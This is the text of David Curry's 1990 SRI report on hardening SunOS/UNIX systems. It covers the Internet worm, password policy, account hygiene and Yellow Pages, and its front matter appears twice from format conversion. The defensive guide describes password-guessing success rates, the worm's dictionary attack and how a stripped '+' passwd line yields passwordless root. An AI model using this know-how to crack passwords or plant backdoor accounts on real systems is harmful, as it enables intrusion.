[Stol89] Stoll, Clifford. The Cuckoo's Egg. New York: Doubleday, 1989.

[Sun88a] Sun Microsystems. SunOS Reference Manual, Part Number 800-1751-10, May
 1988.

[Sun88b] Sun Microsystems. System and Network Administration, Part Number 800-
 1733-10, May 1988.

[Sun88c] Sun Microsystems. Security Features Guide, Part Number 800-1735-10, May
 1988.

[Sun88d] Sun Microsystems. ``Network File System: Version 2 Protocol Specification.''
 Network Programming, Part Number 800-1779-10, May 1988, pp. 165-185.

 50

 APPENDIX A - SECURITY CHECKLIST

 This checklist summarizes the information presented in this paper, and can be used to
verify that you have implemented everything described.

Account Security
 \(sq Password policy developed and distributed to all users
 \(sq All passwords checked against obvious choices
 \(sq Expiration dates on all accounts
 \(sq No ``idle'' guest accounts
 \(sq All accounts have passwords or ``*'' in the password field
 \(sq No group accounts
 \(sq ``+'' lines in passwd and group checked if running Yellow Pages

Network Security
 \(sq hosts.equiv contains only local hosts, and no ``+''
 \(sq No .rhosts files in users' home directories
 \(sq Only local hosts in ``root'' .rhosts file, if any
 \(sq Only ``console'' labeled as ``secure'' in ttytab (servers only)
 \(sq No terminals labeled as ``secure'' in ttytab (clients only)
 \(sq No NFS file systems exported to the world
 \(sq ftpd version later than December, 1988
 \(sq No ``decode'' alias in the aliases file
 \(sq No ``wizard'' password in sendmail.cf
 \(sq No ``debug'' command in sendmail
 \(sq fingerd version later than November 5, 1988
 \(sq Modems and terminal servers handle hangups correctly

File System Security
 \(sq No setuid or setgid shell scripts
 \(sq Check all ``nonstandard'' setuid and setgid programs for security
 \(sq Setuid bit removed from /usr/etc/restore
 \(sq Sticky bits set on world-writable directories
 \(sq Proper umask value on ``root'' account
 \(sq Proper modes on devices in /dev

Backups
 \(sq Level 0 dumps at least monthly
 \(sq Incremental dumps at least bi-weekly

 51

 This page intentionally left blank.
 Just throw it out.

 lii

 CONTENTS

1 INTRODUCTION ......................................................................................................... 1
1.1 UNIX Security ............................................................................................................... 1
1.2 The Internet Worm ....................................................................................................... 2
1.3 Spies and Espionage ..................................................................................................... 2
1.4 Other Break-Ins ............................................................................................................. 3
1.5 Security is Important..................................................................................................... 3

2 IMPROVING SECURITY ........................................................................................... 5
2.1 Account Security ........................................................................................................... 5
2.1.1 Passwords ...................................................................................................................... 5
2.1.1.1 Selecting Passwords ...................................................................................................... 6
2.1.1.2 Password Policies .......................................................................................................... 7
2.1.1.3 Checking Password Security ........................................................................................ 7
2.1.2 Expiration Dates ............................................................................................................ 8
2.1.3 Guest Accounts ............................................................................................................. 8
2.1.4 Accounts Without Passwords ....................................................................................... 9
2.1.5 Group Accounts and Groups ........................................................................................ 9
2.1.6 Yellow Pages................................................................................................................. 10
2.2 Network Security .......................................................................................................... 11
2.2.1 Trusted Hosts ................................................................................................................ 11
2.2.1.1 The hosts.equiv File ...................................................................................................... 11
2.2.1.2 The .rhosts File ............................................................................................................. 12
2.2.2 Secure Terminals........................................................................................................... 12
2.2.3 The Network File System ............................................................................................. 13
2.2.3.1 The exports File ............................................................................................................ 13
2.2.3.2 The netgroup File .......................................................................................................... 14
2.2.3.3 Restricting Super-User Access ..................................................................................... 16
2.2.4 FTP ................................................................................................................................. 16
2.2.4.1 Trivial FTP .................................................................................................................... 17
2.2.5 Mail ............................................................................................................................... 18
2.2.6 Finger............................................................................................................................. 19
2.2.7 Modems and Terminal Servers..................................................................................... 19
2.2.8 Firewalls ........................................................................................................................ 20
2.3 File System Security ..................................................................................................... 20
2.3.1 Setuid Shell Scripts ....................................................................................................... 21
2.3.2 The Sticky Bit on Directories....................................................................................... 22
2.3.3 The Setgid Bit on Directories........................./q^]H.............................................................. 22
2.3.4 The umask Value .......................................................................................................... 22
2.3.5 Encrypting Files ............................................................................................................ 23
2.3.6 Devices .......................................................................................................................... 23
2.4 Security Is Your Responsibility ................................................................................... 24

 iii

 CONTENTS (continued)

3 MONITORING SECURITY ..................................................................................25
3.1 Account Security .....................................................................................................25
3.1.1 The lastlog File .......................................................................................................25
3.1.2 The utmp and wtmp Files .......................................................................................25
3.1.3 The acct File ...........................................................................................................26
3.2 Network Security ....................................................................................................27
3.2.1 The syslog Facility ..................................................................................................27
3.2.2 The showmount Command .....................................................................................28
3.3 File System Security ...............................................................................................29
3.3.1 The find Command .................................................................................................29
3.3.1.1 Finding Setuid and Setgid Files .............................................................................29
3.3.1.2 Finding World-Writable Files .................................................................................31
3.3.1.3 Finding Unowned Files ...........................................................................................31
3.3.1.4 Finding .rhosts Files ................................................................................................31
3.3.2 Checklists ................................................................................................................32
3.3.3 Backups ...................................................................................................................33
3.4 Know Your System .................................................................................................33
3.4.1 The ps Command ....................................................................................................33
3.4.2 The who and w Commands ....................................................................................34
3.4.3 The ls Command .....................................................................................................34
3.5 Keep Your Eyes Open ............................................................................................34

4 SOFTWARE FOR IMPROVING SECURITY .....................................................35
4.1 Obtaining Fixes and New Versions .......................................................................35
4.1.1 Sun Fixes on UUNET ..............................................................................................35
4.1.2 Berkeley Fixes .........................................................................................................36
4.1.3 Simtel-20 and UUNET ............................................................................................37
4.1.4 Vendors ...................................................................................................................37
4.2 The npasswd Command ..........................................................................................37
4.3 The COPS Package ..................................................................................................38
4.4 Sun C2 Security Features .......................................................................................38
4.5 Kerberos ..................................................................................................................39

5 KEEPING ABREAST OF THE BUGS .................................................................41
5.1 The Computer Emergency Response Team ...........................................................41
5.2 DDN Management Bulletins ...................................................................................41
5.3 Security-Related Mailing Lists ...............................................................................42
5.3.1 Security ....................................................................................................................42
5.3.2 RISKS .......................................................................................................................42
5.3.3 TCP-IP ......................................................................................................................42

 iv

 CONTENTS (concluded)

5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS ....................................................42
5.3.5 VIRUS-L ..................................................................................................................43

6 SUGGESTED READING ......................................................................................45

7 CONCLUSIONS .....................................................................................................47

REFERENCES ......................................................................................................................49

APPENDIX A - SECURITY CHECKLIST .........................................................................51

 v

 vi

Improving the Securit of Your Unix System, by David A. Curry (April 1990)

 

                                                    Final Report + April 1990

                    IMPROVING THE SECURITY OF YOUR
		    UNIX SYSTEM

                    David A. Curry, Systems Programmer
                    Information and Telecommunications Sciences and
		    Technology Division

                    ITSTD-721-FR-90-21

                    Approved:

                    Paul K. Hyder, Manager
                    Computer Facility

                    Boyd C. Fair, General Manager
                    Division Operations Section

                    Michael S. Frankel, Vice President
                    Information and Telecommunications Sciences and
		    Technology Division

          SRI International  333 Ravenswood Avenue + Menlo Park, CA 94025 +
               (415) 326-6200 + FAX: (415) 326-5512 + Telex: 334486

                                      CONTENTS

          1       INTRODUCTION...........................................  1
          1.1     UNIX Security..........................................  1
          1.2     The Internet Worm......................................  2
          1.3     Spies and Espionage....................................  3
          1.4     Other Break-Ins........................................  4
          1.5     Security is Important..................................  4

          2       IMPROVING SECURITY.....................................  5
          2.1     Account Security.......................................  5
          2.1.1   Passwords..............................................  5
          2.1.1.1 Selecting Passwords....................................  6
          2.1.1.2 Password Policies......................................  8
          2.1.1.3 Checking Password Security.............................  8
          2.1.2   Expiration Dates.......................................  9
          2.1.3   Guest Accounts......................................... 10
          2.1.4   Accounts Without Passwords............................. 10
          2.1.5   Group Accounts and Groups.............................. 10
          2.1.6   Yellow Pages........................................... 11
          2.2     Network Security....................................... 12
          2.2.1   Trusted Hosts.......................................... 13
          2.2.1.1 The hosts.equiv File................................... 13
          2.2.1.2 The .rhosts File....................................... 14
          2.2.2   Secure Terminals....................................... 15
          2.2.3   The Network File System................................ 16
          2.2.3.1 The exports File....................................... 16
          2.2.3.2 The netgroup File...................................... 17
          2.2.3.3 Restricting Super-User Access.......................... 18
          2.2.4   FTP.................................................... 19
          2.2.4.1 Trivial FTP............................................ 20
          2.2.5   Mail................................................... 21
          2.2.6   Finger................................................. 22
          2.2.7   Modems and Terminal Servers............................ 23
          2.2.8   Firewalls.............................................. 23
          2.3     File System Security................................... 24
          2.3.1   Setuid Shell Scripts................................... 25
          2.3.2   The Sticky Bit on Directories.......................... 26
          2.3.3   The Setgid Bit on Directories.......................... 26
          2.3.4   The umask Value........................................ 27
          2.3.5   Encrypting Files....................................... 27
          2.3.6   Devices................................................ 28
          2.4     Security Is Your Responsibility........................ 29

          3       MONITORING SECURITY.................................... 31
          3.1     Account Security....................................... 31
          3.1.1   The lastlog File....................................... 31
          3.1.2   The utmp and wtmp Files................................ 31
          3.1.3   The acct File.......................................... 33
          3.2     Network Security....................................... 34

                                         iii

                                CONTENTS (concluded)

          3.2.1   The syslog Facility.................................... 34
          3.2.2   The showmount Command.................................. 35
          3.3     File System Security................................... 35
          3.3.1   The find Command....................................... 36
          3.3.1.1 Finding Setuid and Setgid Files........................ 36
          3.3.1.2 Finding World-Writable Files........................... 38
          3.3.1.3 Finding Unowned Files.................................. 38
          3.3.1.4 Finding .rhosts Files.................................. 39
          3.3.2   Checklists............................................. 39
          3.3.3   Backups................................................ 40
          3.4     Know Your System....................................... 41
          3.4.1   The ps Command......................................... 41
          3.4.2   The who and w Commands................................. 42
          3.4.3   The ls Command......................................... 42
          3.5     Keep Your Eyes Open.................................... 42

          4       SOFTWARE FOR IMPROVING SECURITY........................ 45
          4.1     Obtaining Fixes and New Versions....................... 45
          4.1.1   Sun Fixes on UUNET..................................... 45
          4.1.2   Berkeley Fixes......................................... 46
          4.1.3   Simtel-20 and UUNET.................................... 47
          4.1.4   Vendors................................................ 47
          4.2     The npasswd Command.................................... 48
          4.3     The COPS Package....................................... 48
          4.4     Sun C2 Security Features............................... 49
          4.5     Kerberos............................................... 50

          5       KEEPING ABREAST OF THE BUGS............................ 51
          5.1     The Computer Emergency Response Team................... 51
          5.2     DDN Management Bulletins............................... 51
          5.3     Security-Related Mailing Lists......................... 52
          5.3.1   Security............................................... 52
          5.3.2   RISKS.................................................. 52
          5.3.3   TCP-IP................................................. 53
          5.3.4   SUN-SPOTS, SUN-NETS, SUN-MANAGERS...................... 53
          5.3.5   VIRUS-L................................................ 53

          6       SUGGESTED READING...................................... 55

          7       CONCLUSIONS............................................ 57

          REFERENCES..................................................... 59

          APPENDIX A - SECURITY CHECKLIST................................ 63

                                         iv

                                       SECTION 1

                                     INTRODUCTION

          1.1   UNIX SECURITY

                 The UNIX operating system, although now in widespread  use
            in  environments  concerned  about  security,  was  not  really
            designed with security in mind [Ritc75].  This  does  not  mean
            that  UNIX  does  not  provide any security mechanisms; indeed,
            several very good ones are available.  However, most  ``out  of
            the  box''  installation  procedures from companies such as Sun
            Microsystems still install the operating  system  in  much  the
            same  way  as it was installed 15 years ago:  with little or no
            security enabled.

                 The reasons for this state of affairs are largely histori-
            cal.   UNIX  was  originally designed by programmers for use by
            other programmers.  The environment in which it  was  used  was
            one of open cooperation, not one of privacy.  Programmers typi-
            cally collaborated with each other on projects, and hence  pre-
            ferred  to be able to share their files with each other without
            having to climb over security hurdles.  Because the first sites
            outside  of  Bell  Laboratories to install UNIX were university
            research laboratories, where a similar environment existed,  no
            real need for greater security was seen until some time later.

                 In the early 1980s, many universities began to move  their
            UNIX systems out of the research laboratories and into the com-
            puter centers, allowing (or forcing) the user population  as  a
            whole  to  use  this new and wonderful system.  Many businesses
            and government sites began to install  UNIX  systems  as  well,
            particularly  as  desktop workstations became more powerful and
            affordable.  Thus, the UNIX operating system is no longer being
            used only in environments where open collaboration is the goal.
            Universities require their students to use the system for class
            assignments,  yet  they  do not want the students to be able to
            copy from each other.  Businesses use their  UNIX  systems  for
            confidential  tasks  such  as bookkeeping and payroll.  And the
            government uses UNIX systems for various unclassified yet  sen-
            sitive purposes.

                 To complicate matters, new features  have  been  added  to
            UNIX  over  the  years,  making security even more difficult to
            control.  Perhaps  the  most  problematic  features  are  those
          _________________________
          UNIX is a registered trademark of AT&T.  VAX is  a  trademark  of
          Digital  Equipment  Corporation.  Sun-3 and NFS are trademarks of
          Sun Microsystems.  Annex is a trademark of Xylogics, Inc.

                                          1

            relating to networking:  remote login,  remote  command  execu-
            tion,  network  file  systems, diskless workstations, and elec-
            tronic mail.  All of these features have increased the  utility
            and  usability  of UNIX by untold amounts.  However, these same
            features, along with the widespread connection of UNIX  systems
            to  the  Internet  and  other networks, have opened up many new
            areas of vulnerability to unauthorized abuse of the system.

          1.2   THE INTERNET WORM

                 On the evening of November  2,  1988,  a  self-replicating
            program,  called  a worm, was released on the Internet [Seel88,
            Spaf88, Eich89].  Overnight, this  program  had  copied  itself
            from  machine  to  machine, causing the machines it infected to
            labor under huge loads, and denying service  to  the  users  of
            those  machines.   Although the program only infected two types
            of computers,* it spread quickly, as did  the  concern,  confu-
            sion,  and  sometimes  panic  of  system  administrators  whose
            machines were affected.  While many system administrators  were
            aware that something like this could theoretically happen - the
            security holes exploited by the worm  were  well  known  -  the
            scope  of the worm's break-ins came as a great surprise to most
            people.

                 The worm itself did  not  destroy  any  files,  steal  any
            information  (other  than account passwords), intercept private
            mail, or plant other destructive software  [Seel88].   However,
            it did manage to severely disrupt the operation of the network.
            Several sites, including parts of  MIT,  NASA's  Ames  Research
            Center  and  Goddard  Space  Flight  Center, the Jet Propulsion
            Laboratory, and the U. S. Army Ballistic  Research  Laboratory,
            disconnected themselves from the Internet to avoid recontamina-
            tion.  In addition, the Defense Communications  Agency  ordered
            the  connections  between the MILNET and ARPANET shut down, and
            kept them down for nearly 24 hours  [Eich89,  Elme88].   Ironi-
            cally,  this was perhaps the worst thing to do, since the first
            fixes to combat the  worm  were  distributed  via  the  network
            [Eich89].

                 This incident was perhaps the most widely  described  com-
            puter  security  problem  ever.   The  worm was covered in many
            newspapers and magazines around the country including  the  New
            York  Times,  Wall  Street  Journal,  Time  and  most computer-
            oriented technical publications, as well as on all three  major
          _________________________
            * Sun-3 systems from Sun  Microsystems  and  VAX  systems  from
          Digital  Equipment  Corp.,  both running variants of 4.x BSD UNIX
          from the University of California at Berkeley.

                                          2

            television networks, the Cable News Network, and National  Pub-
            lic  Radio.   In  January  1990, a United States District Court
            jury found Robert Tappan Morris, the author of the worm, guilty
            of  charges  brought  against him under a 1986 federal computer
            fraud and abuse law.  Morris faces up to five years  in  prison
            and  a $250,000 fine [Schu90].  Sentencing is scheduled for May
            4, 1990.

          1.3   SPIES AND ESPIONAGE

                 In August  1986,  the  Lawrence  Berkeley  Laboratory,  an
            unclassified  research laboratory at the University of Califor-
            nia at Berkeley,  was  attacked  by  an  unauthorized  computer
            intruder  [Stol88, Stol89].  Instead of immediately closing the
            holes the intruder was using, the system  administrator,  Clif-
            ford  Stoll,  elected  to  watch  the intruder and document the
            weaknesses he  exploited.   Over  the  next  10  months,  Stoll
            watched  the  intruder  attack  over  400  computers around the
            world, and successfully enter about 30.  The  computers  broken
            into  were located at universities, military bases, and defense
            contractors [Stol88].

                 Unlike many intruders seen on the Internet, who  typically
            enter  systems  and  browse  around  to see what they can, this
            intruder was looking for something specific.   Files  and  data
            dealing  with the Strategic Defense Initiative, the space shut-
            tle, and other military topics all  seemed  to  be  of  special
            interest.  Although it is unlikely that the intruder would have
            found any truly classified  information  (the  Internet  is  an
            unclassified  network),  it  was  highly probable that he could
            find a wealth of sensitive material [Stol88].

                 After a year of tracking the intruder (eventually  involv-
            ing  the FBI, CIA, National Security Agency, Air Force Intelli-
            gence, and authorities in West Germany), five men in  Hannover,
            West  Germany  were  arrested.   In  March  1989, the five were
            charged with espionage:  they had  been  selling  the  material
            they  found  during their exploits to the KGB.  One of the men,
            Karl Koch (``Hagbard''), was later found burned to death in  an
            isolated  forest  outside  Hannover.  No suicide note was found
            [Stol89].  In February 1990, three  of  the  intruders  (Markus
            Hess,  Dirk  Bresinsky,  and  Peter  Carl)  were  convicted  of
            espionage in a German court  and  sentenced  to  prison  terms,
            fines, and the loss of their rights to participate in elections
            [Risk90].  The last of the intruders, Hans Hubner  (``Pengo''),
            still faces trial in Berlin.

                                          3

          1.4   OTHER BREAK-INS

                 Numerous other computer security problems have occurred in
            recent  years,  with  varying levels of publicity.  Some of the
            more widely known incidents include break-ins  on  NASA's  SPAN
            network [McLe87], the IBM ``Christmas Virus'' [Risk87], a virus
            at Mitre Corp. that caused the MILNET to  be  temporarily  iso-
            lated from other networks [Risk88], a worm that penetrated DEC-
            NET networks [Risk89a], break-ins on  U.  S.  banking  networks
            [Risk89b], and a multitude of viruses, worms, and trojan horses
            affecting personal computer users.

          1.5   SECURITY IS IMPORTANT

                 As the previous stories demonstrate, computer security  is
            an  important  topic.   This  document  describes  the security
            features provided by the UNIX operating system,  and  how  they
            should  be  used.  The discussion centers around version 4.x of
            SunOS, the version of UNIX sold by Sun Microsystems.   Most  of
            the  information  presented  applies equally well to other UNIX
            systems.  Although there is no way  to  make  a  computer  com-
            pletely  secure against unauthorized use (other than to lock it
            in a room and turn it off), by following  the  instructions  in
            this  document  you  can  make  your  system impregnable to the
            ``casual'' system cracker,* and make it more difficult for  the
            sophisticated cracker to penetrate.

          _________________________
            * The term ``hacker,'' as applied to computer users, originally
          had an honorable connotation:  ``a person who enjoys learning the
          details  of  programming  systems  and  how  to   stretch   their
          capabilities  - as opposed to most users of computers, who prefer
          to  learn  only  the   minimum   amount   necessary''   [Stee88].
          Unfortunately,  the media has distorted this definition and given
          it a dishonorable meaning.  In deference to the true hackers,  we
          will use the term ``cracker'' throughout this document.

                                          4

                                       SECTION 2

                                  IMPROVING SECURITY

                 UNIX system security can be divided into three main  areas
            of  concern.   Two of these areas, account security and network
            security, are primarily  concerned  with  keeping  unauthorized
            users  from gaining access to the system.  The third area, file
            system security,  is  concerned  with  preventing  unauthorized
            access,  either  by  legitimate  users or crackers, to the data
            stored in the system.  This section describes the UNIX security
            tools  provided to make each of these areas as secure as possi-
            ble.

          2.1   ACCOUNT SECURITY

                 One of the easiest ways for a cracker to get into a system
            is by breaking into someone's account.  This is usually easy to
            do, since many systems have old accounts whose users have  left
            the organization, accounts with easy-to-guess passwords, and so
            on.  This section describes methods that can be used  to  avoid
            these problems.

          2.1.1   Passwords

                 The password is the most vital part of UNIX account  secu-
            rity.  If a cracker can discover a user's password, he can then
            log in to the system and operate with all the  capabilities  of
            that user.  If the password obtained is that of the super-user,
            the problem is more serious:  the cracker will  have  read  and
            write  access  to  every  file on the system.  For this reason,
            choosing secure passwords is extremely important.

                 The UNIX passwd program [Sun88a, 379] places very few res-
            trictions  on  what  may  be used as a password.  Generally, it
            requires that passwords contain five or more lowercase letters,
            or  four  characters  if a nonalphabetic or uppercase letter is
            included.  However, if the  user  ``insists''  that  a  shorter
            password be used (by entering it three times), the program will
            allow it.  No checks  for  obviously  insecure  passwords  (see
            below)  are  performed.   Thus, it is incumbent upon the system
            administrator to ensure that the passwords in use on the system
            are secure.

                                          5

                 In [Morr78], the authors describe experiments conducted to
            determine typical users' habits in the choice of passwords.  In
            a collection of 3,289 passwords, 16% of  them  contained  three
            characters or less, and an astonishing 86% were what could gen-
            erally be described as  insecure.   Additional  experiments  in
            [Gram84]  show  that  by  trying  three  simple guesses on each
            account - the login name, the login name in  reverse,  and  the
            two  concatenated  together  -  a  cracker can expect to obtain
            access to between 8 and 30 percent of the accounts on a typical
            system.   A second experiment showed that by trying the 20 most
            common female first names, followed by a single digit (a  total
            of  200  passwords), at least one password was valid on each of
            several dozen machines surveyed.   Further  experimentation  by
            the  author  has  found  that by trying variations on the login
            name, user's first and last names, and a list  of  nearly  1800
            common  first  names, up to 50  percent of the passwords on any
            given system can be cracked in a matter of two or three days.

          2.1.1.1   Selecting Passwords

                 The object when choosing a password is to make it as  dif-
            ficult as possible for a cracker to make educated guesses about
            what you've chosen.  This  leaves  him  no  alternative  but  a
            brute-force   search,  trying  every  possible  combination  of
            letters, numbers, and punctuation.  A search of this sort, even
            conducted on a machine that could try one million passwords per
            second (most  machines  can  try  less  than  one  hundred  per
            second),  would require, on the average, over one hundred years
            to complete.  With this as our goal, and by using the  informa-
            tion  in  the  preceding text, a set of guidelines for password
            selection can be constructed:

                 +    Don't  use  your  login  name  in  any  form  (as-is,
                      reversed, capitalized, doubled, etc.).

                 +    Don't use your first or last name in any form.

                 +    Don't use your spouse's or child's name.

                 +    Don't use other  information  easily  obtained  about
                      you.   This includes license plate numbers, telephone
                      numbers, social security numbers, the brand  of  your
                      automobile, the name of the street you live on, etc.

                 +    Don't use a password of all digits, or all  the  same
                      letter.  This significantly decreases the search time
                      for a cracker.

                 +    Don't use a word contained  in  (English  or  foreign

                                          6

                      language)  dictionaries,  spelling  lists,  or  other
                      lists of words.

                 +    Don't use a password shorter than six characters.

                 +    Do use a password with mixed-case alphabetics.

                 +    Do use  a  password  with  nonalphabetic  characters,
                      e.g., digits or punctuation.

                 +    Do use a password that is easy to  remember,  so  you
                      don't have to write it down.

                 +    Do use a password that you can type quickly,  without
                      having to look at the keyboard.  This makes it harder
                      for someone to steal your password by  watching  over
                      your shoulder.

                 Although this list may seem to restrict  passwords  to  an
            extreme,  there  are several methods for choosing secure, easy-
            to-remember passwords that obey the above rules.  Some of these
            include the following:

                 +    Choose a line or two from a song or poem, and use the
                      first  letter of each word.  For example, ``In Xanadu
                      did Kubla  Kahn  a  stately  pleasure  dome  decree''
                      becomes ``IXdKKaspdd.''

                 +    Alternate  between  one  consonant  and  one  or  two
                      vowels,  up  to eight characters.  This provides non-
                      sense words that are usually pronounceable, and  thus
                      easily  remembered.   Examples  include  ``routboo,''
                      ``quadpop,'' and so on.

                 +    Choose two short words and concatenate them  together
                      with  a punctation character between them.  For exam-
                      ple: ``dog;rain,'' ``book+mug,'' ``kid?goat.''

                 The importance of obeying these password  selection  rules
            cannot  be  overemphasized.   The Internet worm, as part of its
            strategy for breaking into new  machines,  attempted  to  crack
            user  passwords.   First, the worm tried simple choices such as
            the login name, user's first and last names, and so on.   Next,
            the  worm  tried each word present in an internal dictionary of
            432 words (presumably  Morris  considered  these  words  to  be
            ``good''  words  to  try).   If all else failed, the worm tried
            going through the system  dictionary,  /usr/dict/words,  trying
            each  word  [Spaf88].   The password selection rules above suc-
            cessfully guard against all three of these strategies.

                                          7

          2.1.1.2   Password Policies

                 Although asking users to select secure passwords will help
            improve  security,  by  itself  it  is  not enough.  It is also
            important to form a set of password  policies  that  all  users
            must obey, in order to keep the passwords secure.

                 First and foremost, it is important to  impress  on  users
            the  need  to  keep their passwords in their minds only.  Pass-
            words should never be written down on desk blotters, calendars,
            and  the like.  Further, storing passwords in files on the com-
            puter must be prohibited.  In either case, by writing the pass-
            word  down  on  a  piece  of paper or storing it in a file, the
            security of the user's account  is  totally  dependent  on  the
            security  of  the paper or file, which is usually less than the
            security offered by the password encryption software.

                 A second important policy is that users  must  never  give
            out  their  passwords to others.  Many times, a user feels that
            it is easier to give someone else his password in order to copy
            a  file,  rather  than to set up the permissions on the file so
            that it can be copied.  Unfortunately, by giving out the  pass-
            word  to  another person, the user is placing his trust in this
            other person not to distribute the password further,  write  it
            down, and so on.

                 Finally, it is important to establish a policy that  users
            must  change  their  passwords  from  time to time, say twice a
            year.  This is difficult to enforce  on  UNIX,  since  in  most
            implementations, a password-expiration scheme is not available.
            However, there are ways to implement  this  policy,  either  by
            using  third-party  software  or by sending a memo to the users
            requesting that they change their passwords.

                 This set of policies should be printed and distributed  to
            all  current  users  of the system.  It should also be given to
            all new users when they receive  their  accounts.   The  policy
            usually  carries  more  weight  if you can get it signed by the
            most ``impressive'' person  in  your  organization  (e.g.,  the
            president of the company).

          2.1.1.3   Checking Password Security

                 The procedures and policies described in the previous sec-
            tions,  when  properly  implemented,  will  greatly  reduce the
            chances of a cracker breaking into your  system  via  a  stolen
            account.   However,  as  with all security measures, you as the

                                          8

            system administrator must periodically check to  be  sure  that
            the  policies  and procedures are being adhered to.  One of the
            unfortunate truisms of password security  is  that,  ``left  to
            their own ways, some people will still use cute doggie names as
            passwords'' [Gram84].

                 The best way to check the security  of  the  passwords  on
            your  system  is to use a password-cracking program much like a
            real cracker would use.  If you succeed in cracking  any  pass-
            words,  those  passwords  should be changed immediately.  There
            are a few freely available password cracking  programs  distri-
            buted  via various source archive sites; these are described in
            more detail in Section 4.  A fairly extensive cracking  program
            is  also  available  from  the  author.  Alternatively, you can
            write your own cracking program, and  tailor  it  to  your  own
            site.   For  a  list  of  things  to check for, see the list of
            guidelines above.

          2.1.2   Expiration Dates

                 Many sites, particularly those  with  a  large  number  of
            users,  typically  have several old accounts lying around whose
            owners have since left the organization.  These accounts are  a
            major  security  hole:  not only can they be broken into if the
            password is insecure, but because nobody is using  the  account
            anymore, it is unlikely that a break-in will be noticed.

                 The simplest way to prevent unused accounts  from  accumu-
            lating  is to place an expiration date on every account.  These
            expiration dates should be near enough in the future  that  old
            accounts  will  be  deleted  in a timely manner, yet far enough
            apart that the users will not become annoyed.  A good figure is
            usually one year from the date the account was installed.  This
            tends to spread the expirations out over the year, rather  than
            clustering  them  all  at the beginning or end.  The expiration
            date can easily be stored in the password  file  (in  the  full
            name field).  A simple shell script can be used to periodically
            check that all accounts have expiration dates, and that none of
            the dates has passed.

                 On the first day of each month, any user whose account has
            expired  should be contacted to be sure he is still employed by
            the organization, and that he is actively  using  the  account.
            Any  user  who  cannot  be  contacted,  or who has not used his
            account recently, should be deleted from the system.  If a user
            is  unavailable  for some reason (e.g., on vacation) and cannot
            be contacted, his account should be disabled by  replacing  the
            encrypted  password in the password file entry with an asterisk
            (*).  This makes it impossible to log in to  the  account,  yet

                                          9

            leaves  the  account  available  to be re-enabled on the user's
            return.

          2.1.3   Guest Accounts

                 Guest accounts present still another  security  hole.   By
            their  nature,  these  accounts are rarely used, and are always
            used by people who should only have access to the  machine  for
            the  short period of time they are guests.  The most secure way
            to handle guest accounts is to install  them  on  an  as-needed
            basis,  and delete them as soon as the people using them leave.
            Guest accounts should never be given simple passwords  such  as
            ``guest'' or ``visitor,'' and should never be allowed to remain
            in the password file when they are not being used.

          2.1.4   Accounts Without Passwords

                 Some sites have installed  accounts  with  names  such  as
            ``who,''  ``date,'' ``lpq,'' and so on that execute simple com-
            mands.  These accounts are intended to allow users  to  execute
            these  commands without having to log in to the machine.  Typi-
            cally these accounts have no password associated with them, and
            can  thus  be used by anyone.  Many of the accounts are given a
            user id of zero, so that they execute with  super-user  permis-
            sions.

                 The problem with these accounts is that they  open  poten-
            tial  security  holes.  By not having passwords on them, and by
            having  super-user  permissions,  these  accounts   practically
            invite  crackers  to  try  to  penetrate them.  Usually, if the
            cracker can  gain  access  to  the  system,  penetrating  these
            accounts  is  simple, because each account executes a different
            command.  If the cracker can replace any one of these  commands
            with one of his own, he can then use the unprotected account to
            execute his program with super-user permissions.

                 Simply put,  accounts  without  passwords  should  not  be
            allowed on any UNIX system.

          2.1.5   Group Accounts and Groups

                 Group accounts have become popular at many sites, but  are
            actually  a  break-in  waiting to happen.  A group account is a

                                         10

            single account shared by several people, e.g., by all the  col-
            laborators  on a project.  As mentioned in the section on pass-
            word security, users should not share  passwords  -  the  group
            account  concept directly violates this policy.  The proper way
            to allow users to share information, rather than giving them  a
            group  account  to  use,  is to place these users into a group.
            This is done by editing the  group  file,  /etc/group  [Sun88a,
            1390;  Sun88b, 66], and creating a new group with the users who
            wish to collaborate listed as members.

                 A line in the group file looks like

                    groupname:password:groupid:user1,user2,user3,...

            The groupname is the name assigned to the group,  much  like  a
            login  name.   It  may  be the same as someone's login name, or
            different.  The maximum length of a group name is eight charac-
            ters.   The password field is unused in BSD-derived versions of
            UNIX, and should contain an asterisk (*).   The  groupid  is  a
            number  from 0 to 65535 inclusive.  Generally, numbers below 10
            are reserved for special  purposes,  but  you  may  choose  any
            unused number.  The last field is a comma-separated (no spaces)
            list of the login names of the users in the group.  If no login
            names  are  listed, then the group has no members.  To create a
            group called ``hackers'' with Huey, Duey, and Louie as members,
            you would add a line such as this to the group file:

                    hackers:*:100:huey,duey,louie

                 After the group has been created,  the  files  and  direc-
            tories  the  members  wish to share can then be changed so that
            they are owned by this group, and the group permission bits  on
            the  files  and  directories can be set to allow sharing.  Each
            user retains his own account, with his own password, thus  pro-
            tecting the security of the system.

                 For example, to change Huey's ``programs'' directory to be
            owned  by  the new group and properly set up the permissions so
            that all members of the group may  access  it,  the  chgrp  and
            chmod commands would be used as follows [Sun88a, 63-66]:

                    # chgrp hackers ~huey/programs
                    # chmod -R g+rw ~huey/programs

          2.1.6   Yellow Pages

                 The Sun Yellow Pages system [Sun88b, 349-374] allows  many

                                         11

            hosts to share password files, group files, and other files via
            the network, while the files are stored on only a single  host.
            Unfortunately, Yellow Pages also contains a few potential secu-
            rity holes.

                 The principal way Yellow Pages works is to have a  special
            line  in  the  password or group file that begins with a ``+''.
            In the password file, this line looks like

                    +::0:0:::

            and in the group file, it looks like

                    +:

            These lines should only be present in the files stored on  Yel-
            low  Pages  client machines.  They should not be present in the
            files on the Yellow Pages master machine(s).   When  a  program
            reads  the  password  or group file and encounters one of these
            lines, it goes through the network and requests the information
            it wants from the Yellow Pages server instead of trying to find
            it in the local file.  In this way, the data does not  have  to
            be  maintained on every host.  Since the master machine already
            has all the information, there is no need for this special line
            to be present there.

                 Generally speaking, the Yellow  Pages  service  itself  is
            reasonably  secure.   There are a few openings that a sophisti-
            cated (and dedicated) cracker could exploit, but Sun is rapidly
            closing  these.   The  biggest problem with Yellow Pages is the
            ``+'' line in the password file.  If the ``+'' is deleted  from
            the  front of the line, then this line loses its special Yellow
            Pages meaning.  It instead becomes a regular password file line
            for an account with a null login name, no password, and user id
            zero (super-user).  Thus, if a  careless  system  administrator
            accidentally  deletes the ``+''.  the whole system is wide open
            to any attack.*

                 Yellow Pages is too useful a service to suggest turning it
            off,  although  turning  it  off  would  make  your system more
            secure.  Instead, it is recommended that you read carefully the
            information  in  the  Sun manuals in order to be fully aware of
            Yellow Pages' abilities and its limitations.

          2.2   NETWORK SECURITY

          _________________________
            * Actually, a line like this without a ``+''  is  dangerous  in
          any password file, regardless of whether Yellow Pages is in use.
